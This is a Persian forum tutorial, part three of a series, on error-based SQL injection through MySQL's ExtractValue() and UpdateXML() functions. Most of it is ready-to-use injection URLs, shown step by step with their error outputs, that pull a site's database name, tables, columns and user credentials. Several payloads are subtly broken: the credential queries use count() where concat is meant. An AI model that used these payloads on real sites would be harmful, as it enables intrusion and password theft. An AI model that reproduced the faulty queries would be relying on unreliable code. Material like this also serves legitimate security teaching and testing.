پست های پیشنهاد شده

قسمت سوم 

ــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــ

توابع XML در  پایگاه داده MySQL

توابع ()ExtractValue و ()UpdateXML قابلیت XPath 1.0 را ارائه می کنند. عبارات XPath از این توابع برای پشتیبانی از متغیرهای کاربر و متغیرهای برنامه ذخیره شده محلی استفاده می کند.

در این قسمت بحث اصلی بر روی تابع ()ExtractValue است.

 

تابع ()ExtractValue

تابع ()ExtractValue  برای استخراج داده از یک رشته XML با استفاده از XPath استفاده می شود.

 

ورودی های تابع extract value به صورت زیر است:

ExtractValue('xmldatahere', 'xpathqueryhere')

در اینجا اگر کوئری  xpath ما به طور متناوب اشتباه باشد با خطای زیر مواجه میشویم:

 

XPATH syntax error: 'xpathqueryhere'

چرا باید از این نوع متد inject استفاده کنیم ؟

در بعضی از وب اپلیکشن ها وقتی نتونیم تزریق خود را با متدهایی مثل death row انجام بدهیم و هیچ خروجی به ما نمایش داده نشود و برنامه نویس صحت ورودی ها را به درستی چک کند در این شرایط از این متد استفاده می کنیم و به پایگاه داده نفوذ می کنیم.

به طور مثال در کوئری زیر:

http://leettime.net/sqlninja.com/tasks/xpath_ch1.php?id=1" union select 1,2,3,4,5--

هیچ خروجی نشان داده نمی شود و نمی توانیم از تکنیک union select استفاده کنیم.در این شرایط است که باید از injection xpath استفاده کنیم.

 

در مثال بالا می بینیم که بعد از عدد 1 دابل کوتیشین امده است پس متوجه می شویم که تزریق ما باید از نوع رشته string باشد.

در نتیجه کوئری ما به شکل زیر میباشد:

select path from pages where view="<our_input_here>" limit 1,1;

 

و در ادامه تزریق خودمان را با استفاده از تزریق XPATH ادامه می دهیم

www.site.com/index.php?view=-35" and extractvalue(0x0a,concat(0x0a,(OUR QUERY HERE)))--

برای مثال دریافت اسم پایگاه داده از تزریق زیر استفاده می کنیم:

 

www.site.com/index.php?view=-35" and extractvalue(0x0a,concat(0x0a,(select database())))--

خروجی :  XPATH syntax error: ' database_name_here'

 

 

اگر بخواهیم اسم جداول را بدست بیاریم تزریق ما به شکل زیر می شود:

www.site.com/index.php?view=-35" and extractvalue(0x0a,concat(0x0a,(select table_name from information_schema.tables where table_schema=database() limit 0,1)))--

خروجی : XPATH syntax error: 'table_name_here'

 

در مثال بالا دلیل استفاده از limit این است که این در این تکنیک ما نمی توانیم اطاعات طولانی بیشتر از ۳۲ کاراکتر را استخراج کنیم

 به عنوان مثال در تزریق بالا مشخص شد که اسم جدول های ما به صورت زیر است:

  • Posts
  • Assets
  • Banner
  • Links
  • Users

 

سپس با استفاده از تزریق زیر میتوانیم ستون های مورد نظر خود را پیدا کنیم:

www.site.com/index.php?view=-35" and extractvalue(0x0a,concat(0x0a,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1)))--

خروجی : XPATH syntax error: 'column_name_here'

خروجی تزریق فوق :

  • id
  • username
  • password

 

برای اینکه تعداد یوزرها رو بدانیم از راه حل زیر استفاده میکنیم :

www.site.com/index.php?view=-35" and extractvalue(0x0a,concat(0x0a,(select count(username) from users)))--

خروجی :  XPATH syntax error: 'count_will_come_here'

 

و درنهایت با استفاده از تزریق زیر اطلاعاتی که مد نظر است را استخراج می کنیم :

www.vuln-web.com/index.php?view=-35" and extractvalue(0x0a,concat(0x0a,(select count(username,0x3a,password) from users limit 0,1)))--

خروجی : XPATH syntax error: 'Output_here'

 

 

تابع ()UpdateXML

UPDATEXML یک نمونه XMLType و یک جفت XPath را به عنوان آرگومان در نظر می گیرد و یک نمونه XMLType را با مقدار به روز شده برمی گرداند.

این تابع نیز مشابه تابع extractvalue عمل می کنید و نیازی به توضیح نیست با دیدن مراحل زیر فرق بین این دو تابع رو خواهید فهمید . 

 

ورودی های تابع extract value به صورت زیر است:

UPDATEXML(XMLType_Instance, XPath_string,value_expression, namespace_string)

در اینجا اگر کوئری  xpath ما به طور متناوب اشتباه باشد با خطای زیر مواجه میشویم:

XPATH syntax error: 'xpathqueryhere'

 

در ادامه تزریق خود را ادامه میدهیم

1-

www.vuln-web.com/index.php?view=-35" union select 1,2,3,4,5--

2-

www.vuln-web.com/index.php?view=-35" and updatexml(null,concat(0x3a,(0x0a,(select database()))),null)--

Output : XPATH syntax error: ':database_name_here'

 

3-

www.vuln-web.com/index.php?view=-35" and updatexml(null,concat(0x3a,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),null)--

Output : XPATH syntax error: ':table_name_here'

 

5-

www.vuln-web.com/index.php?view=-35" and updatexml(null,concat(0x3a,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1)),null)--

Output : XPATH syntax error: ':column_name_here'

 

6-

www.vuln-web.com/index.php?view=-35" and updatexml(null,concat(0x3a,(select count(username) from users)),null)--

Output : XPATH syntax error: ':count_will_come_here'

 

7-

www.vuln-web.com/index.php?view=-35" and updatexml(null,concat(0x3a,(select count(username,0x3a,password) from users limit 0,1)),null)--

Output : XPATH syntax error: ':Output_here'

 

 

ــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــ

پایان قسمت سوم

به اشتراک گذاری این ارسال


لینک به ارسال
به اشتراک گذاری در سایت های دیگر

منابع: 

https://www.w3schools.com

http://www.securityidiots.com/

 

سربلند و پیروز باشید.

 

نویسنده : P0S3ID0N

تیم امنیتی گاردایران

به اشتراک گذاری این ارسال


لینک به ارسال
به اشتراک گذاری در سایت های دیگر
مهمان
این موضوع برای عدم ارسال قفل گردیده است.